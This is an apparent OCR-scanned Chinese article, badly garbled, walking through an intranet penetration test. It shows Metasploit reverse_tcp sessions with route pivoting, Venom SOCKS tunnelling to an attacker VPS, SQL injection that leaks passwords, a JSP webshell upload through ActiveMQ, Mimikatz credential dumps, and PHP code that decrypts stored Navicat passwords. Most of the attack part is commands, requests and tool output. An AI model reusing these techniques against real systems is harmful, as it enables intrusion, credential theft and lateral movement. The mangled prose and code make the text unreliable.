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MEvpsl Elmeterpreteraifg,

s exploit ) = options
ddule options (exploltfmul tl Mandler):
HWoms Current Setting Reguired Description
raylood cptions (1imnuoc/xéd/meterpreter/reverse_top):
Hose  Current Setting Required Description

LHO&T yEL
LPORET 5555 yes

ixploit target:
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peterpreter > sysinfo

r TR " BB [ I B &)
; wibd

: HBE_B4-1linux-musl
Heterpreter @ xbd/linux
neterpreter >

7 D0 B% B 1T AR 55 R 4R

Bk Elmeterpreteraif, A EHRIZEN 2B ALInuxRS 23S, 2FIHIEH
W, BIEERE, EUBBAEMLINUXE, ITBAMNBEITINE. 2%

FT92. XXX XXX. XXX, TO.XXX.XXX.XXXIXH

TME., XEBEEJautoroutefE iR

ERANMEBER, HEAmetasploitlIBEERERI XTI ITNE RS #H TR

I

meterpreter > run get_local_subnets //FEHAINZBHNRAEMEREER

meterpreter > run autoroute -s

meterpreter > run autoroute -p

meterpreter > background

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated, Try post/multi/manage/autoroute.
[!1] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: .M HE - =

Local subnet: 192gum " #98.755.255.0

Local subnet: 192. 5w o mew/255.255.255.0

meterpreter > run autoroute -s 192.16x wm/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[1] Example: run post/multi/manage/autoroute OPTION=value [...]

Adding a route to 192.16w mm =55.0...

Added route to 192.1. EEE 255.255.0 vio umm e

Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

Subnet Netmask Gateway

255,255.255.9 Session 1
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ANTERFENEAMPRET KER, #AFARNZOXE, RMNFEBRE—F
BEAANN“EEEE”, WRXRBHMONEZHIE, EMNTNUNEEIFEEBREW,
T BRIEIT S J:ﬁﬁﬁreGeorgﬂ]EarthWormi’J@?— ERFHBRT, 20
WERBvenomE®E, XEFHBvenomBEMNIE, EsockshMNERIERNME
TEHREMLELHR,

EBvenomiadminifiRagentiz o 3 EEZ B S A MBI vpsTI#HIZMIinux RS
22,

FRUTHLENadminiaTim O, HEagentimKEEEZ, BB UER
goto THANBBIHEIInuxt BT A,

./admin_linux_x64 -1lport 9999

./agent_1linux_x64 -rhost your_vps —-rport 9999

i M 777ee932f1 flnhuublnBmZ: /# . /admin_linux_x64 -lport 9999

B{EBd<socks 7878, EBIFLInuxfRBBT Rsocksb KB, REEXR
th{E B proxifierf AvpsHipIRNIEEMIE OB EARM EIZIH R A MR IR,
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I u
.H Server
Addres.. Port: 7878
Name Port Type Protocol
* SOCKS Version §
Add... SOCKS Version 4
Edit... LIAUS
Remove Authentication
_ Enable
|
You can chain several proxy servers together: Proxy Chains... Optians
S R SN R No options available for SOCKS5 proxy.
[05.14 13:27:40] Order online: www.proxifier.com/order.htm
[05.14 13:27:40)
[05.14 13:27:40] Proxifier settings loaded.
oK Cancel

E, ANEBRS

3.1 &

NTEEBEEANNBER, EANPREFTEEELEME—PRERNENARA
A, HHE Tnids. hidsHFZFXRXRENNRENBIRT, REZFHERIN, AEEEA
OR. BEFNAAZENBEN LB -—XNRSESFERED, EERTIITRSE
HEITHRN, BRMVONEREIEEFAREZE. SEHES—LEERNweb RS HTHRN
WERE, LETMoFESHRSNIIEK.

3.2 BIEERE

KIBERERZE, MFEHRWE, FXNERMNINEKRS, EMXESEEHOL.
admin xxxxxxxxxHFANTEHEF—TEEESERISNES, B7H, F3Z9EO, IR
FM—NEEEZEsqLEN, BERIWEINS,

oy | D .

"E - mn m_.a EEAKE fEA EiE 1R
1 - - : o L N rom
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SRR RS0 I8 T AL T 1A 9 18 i TR
M TARAENINEERER, RERAATMNAR, BIABETRBMNEE, RARN—
&, E?&E@)\T*ﬂ&'w,m%i FEEET—TREE, BEEMNXRT, AROKEES
E#RRETEZTRINNEEENIP, KSR,

Go . > (v Target: Wity ., cvoe o Fdd

Request

[maw | Params | Heacers [ wex | [_]u-mn]uu|

GET

tisubjecthamelilter=tl m s semm w0 oo s 89AAD spa

—
gedium=1_WTTP/1.1
-

b " pdninPasswd” 1S40 o
- * ¢ “dbPassword” 1

£ T ENavicatPremiumUid #E#&%, RMEAMELRNKSEBAIERTREE
X o

- - — - Y -~ — . S .
#o - o | oo Ju O # B B &% B
- ] L] uE am e A 2] L] we aET A=
.
datasync
I information_schema = B :n fml = - Mt TNt
v 8 mysg) R Hast Select priv mm priv Updm priv Delete priv Create priv Drop_priv Gun\ priv References gindex priv  Alter priv  Create tmp 'Lock tables Create view_Show_view [ Cr|
oy N N N N N N N N N N N
[~ [ e— priv N N N N N N N N N N N N |
il

{TT engine_cost
[ event

ERVEERARAE=Z"THAFPREBE, KX TR, IZEHEBRREEEMLE
&

PUTEEREE A

EZRHTRSFENNNGR, EMEE—DActiveMQMIBRSE, IRFE—M, ActiveMQ
FEEMNBRINZEBHAESEEN, FHERKIAZBadmin adminEZE#ANES, £EF—T
ActiveMQE’qH&zl: KIME5.10.0, BWEK, B3, EActiveMQEBIRAZREFEPUTHE

EEANRKREIIMHREN,
C o0 OFRE I . ®» o w . & D rows)

M"!eu” o robniat
oftware Foundation
- Bi7imun.0patne or

Home | Queues | Topics | Subscribers | Connections | Network | Scheduled | Send

Welcome! B Queue Views
-
Welcome to the Apache ActiveMQ Console of localhost (777 ) » XM
You can find more information about Apache ActiveMQ on the Apache ActveM( Ste N Topic Views
& NML
Broker o Subscribers
Mame localhost Views

- L

W Useful Links
uptime 156 days 22 hours . FAQ

Store percent used (] ® Downloads

« Forums
Mermory percent vaed 0

Ternp percere: used o
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3 F8E EfEshell, MEXRIR—PActiveMQMIIEE R, B FEMOVEX HHIITE, X
TR ENEREL RN,

Go Target: http:)

[ Raw | Params | Headers | Hex [ Raw | Headers | Hex \

ActiveMQEINFFBPUT AL, HfileserverZER NI EEjspwebshell, M TE
BEHLET, IMFME2—1ispIIHLEE, BHIHENR, MEEZEsystemiXR,

& C O Fz=e' I qpi/in2jsp#
: - ]
Build By LandGrey

nt aathoritsh system

FERAtasklistEEMBAKNIHO, LKM3389umAMAES, HRM—THAF,, M
ANEERYA, RIPER,

W 192 - TESEEE [m]

= \Windows Server 2012 R2

WWE&E —TwindowsBRFB 2R ZEIE, {EAminikatz#ilEY,
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User Name
Domain
Logon Server

b USErname

¥ Domain

* NTLM

* SHA1
tspkg
wdigest

¥ sername

¥ Domain

¥ Password
kerberos

¥ Username
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3| 192 SMB | 445 Tinistrator
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wcodina="UTF-8"7>

<?php
namespace FatSmallTools;

class NavicatPassword

{
protected $version = 0;
protected $aesKey = 'libcckeylibcckey';
protected $aesIv = 'libcciv libcciv ';
protected $blowString = '3DC5CA39"';
protected $blowKey = null;
protected $blowIv = null;
public function __construct($version = 12)
{
$this->version = $version;
$this->blowKey = shal('3DC5CA39"', true);
$this->blowIv = hex2bin('d9c7c3c8870d64bd"');
b
public function encrypt($string)
{

$result = FALSE;

switch ($this->version) {

case 11:
$result = $this->encryptEleven($string);
break;

case 12:
$result = $this->encryptTwelve($string);
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break;
default:

break;

return $result;

protected function encryptEleven($string)

$round = intval(floor(strlen($string) / 8));
$leftLength = strlen($string) % 8;
$result = '"';

$currentVector = $this->blowlv;

for ($i = 0; $i < $round; $i++) {
$temp = $this->encryptBlock($this->xorBytes(s
$currentVector = $this->xorBytes($currentVect

$result .= $temp;

if ($leftLength) {
$currentVector = $this->encryptBlock($current'

$result .= $this->xorBytes(substr($string, 8 :

return strtoupper(bin2hex($result));

protected function encryptBlock($block)

return openssl_encrypt($block, 'BF-ECB', $this->b

protected function decryptBlock($block)

return openssl_decrypt($block, 'BF-ECB', $this->b

protected function xorBytes($strl, $str2)
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{
$result = '"';
for ($1 = 0; $i < strlen($strl); $i++) {
$result .= chr(ord($stri[$il) ~ ord($str2[$il
b
return $result;
}
protected function encryptTwelve($string)
{
$result = openssl_encrypt($string, 'AES-128-CBC',
return strtoupper(bin2hex($result));
}
public function decrypt($string)
{
$result = FALSE;
switch ($this->version) {
case 11:
$result = $this->decryptEleven($string);
break;
case 12:
$result = $this->decryptTwelve($string);
break;
default:
break;
}
return $result;
b
protected function decryptEleven($upperString)
{

$string = hex2bin(strtolower($upperString));

$round = intval(floor(strlen($string) / 8));
$leftLength = strlen($string) % 8;

$result = ;

$currentVector = $this->blowlv;
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for ($i = 0; $i < $round; $i++) {
$encryptedBlock = substr($string, 8 *x $i, 8);
$temp = $this->xorBytes($this—>decryptBlock($
$currentVector = $this->xorBytes($currentVect

$result .= $temp;

if ($leftLength) {
$currentVector = $this->encryptBlock($current'

$result .= $this->xorBytes(substr($string, 8 :

return $result;

protected function decryptTwelve($upperString)

$string = hex2bin(strtolower($upperString));
return openssl_decrypt($string, 'AES-128-CBC', $t

}

use FatSmallTools\NavicatPassword;

/! FEETERA, 118012
//$navicatPassword = new NavicatPassword(12);

$navicatPassword = new NavicatPassword(11);

/! BE

//$decode = $navicatPassword->decrypt('15057D7BA390");
$decode = “ZiE: ".$navicatPassword->decrypt (' XXXXXXxXxxx"');

echo $decode."\n";

https://mp.weixin.qq.com/s/CZyGa4_oxgfI7RBbN-qAnw

15/25



2020/7/27 B2 I T2 ) P O 18 i L TR

FAXEBRBLERNOBEN ZaEENREERL, RERKSAMENmMysql IR
B, MRUT.

110 MySQL | 3306 | root _ 20 | 5.7.28
2|10 MySQL | 3306 | root 0 | 5.7.28
3[10 B | MysaL | 3306 root 0 |5.7.28
4 mF MySQL | 3306 | root “ﬂ 5.7.28
5( 10 MySQL | 3306 | root 3 | 5.6.45-I0g
610 MySQL | 3306 | root 13 | 5.6.45-log
710 MySQL | 3306 3 | 5.6.45-log
8 mF B wsaL | 33 3| 5.7.27-log
1] 19 MySQL | 3306 | root 3 | 5.6.45-log

B, BaSaH

41 Lt1EjspD
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BREe EREEaIs
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POST .HN N NN Ect HTTP/L1.1

Hose:

Content-Length: 2394

Ahocept: application/json, text/javascript, */*; gq=0.01
Origin: htep i

K-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4) AppleWebKit/537.36 (FMTHL, like Gecko) Chrome/75.0.3770.141 Safari/s37.3&

Content-Type: multipart/form-data; b ¥ WehFitF v
Referer e T
Accepr-Encoding: gzip, deflate
Accepr-Lanmuage: zh=CH zhig=0. §
Cookie: A
Connection: close

530ATAETHCANb

-WebFitFormBoundarydr S 30AUIBTNGdANbyg
Content-Disposition: form-data; names“id*

Sdldaes4a827bEc5225c740
~WebFitFornBoundaryJrS30ATdBTNGNbg
Content-Disposition: form-data; names"subjectame®

J000000
------ WebititFormBoundary) e 30AUABTHGANb g
Content-Disposition: form-data; name="subjectCode®

itFornBoundarydr S30AVAETHCANE g
Content-Disposition: form-data; name="image"; filenap
Content-Type: image/jpeg

I3.3sp

< H = wE=BTNs
<V mage ARPOET="1ava. weil. Bcanner” V>
<H
. -
S - /HI>
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HTTP/L.1 200

Content-Type: text/hraml;charsec=UTF-8
Content-Language: zh-CN

Date: Sac, O May Z020 12:40:45 CMT
Connection: close

Content-Length: 15202

<htalr
<head>
etitle>

“/title>

<meta hrop-equive"X-UA-Compacible* cont

<meta contents= widthe=device-width, inil
names"wisvport " >

<link vel="styleshest®
href="/resources/bundles/ font - awess
cas”>

<link
hrets®/resources/bundles/bostserapvd. 3/css,
rels“styleshest® Cypes“test/css"/>

<link
hrefs"/rescurces/bundles/uni form/css/uni fo:
rel="styleshest® cypes="text/css"/>
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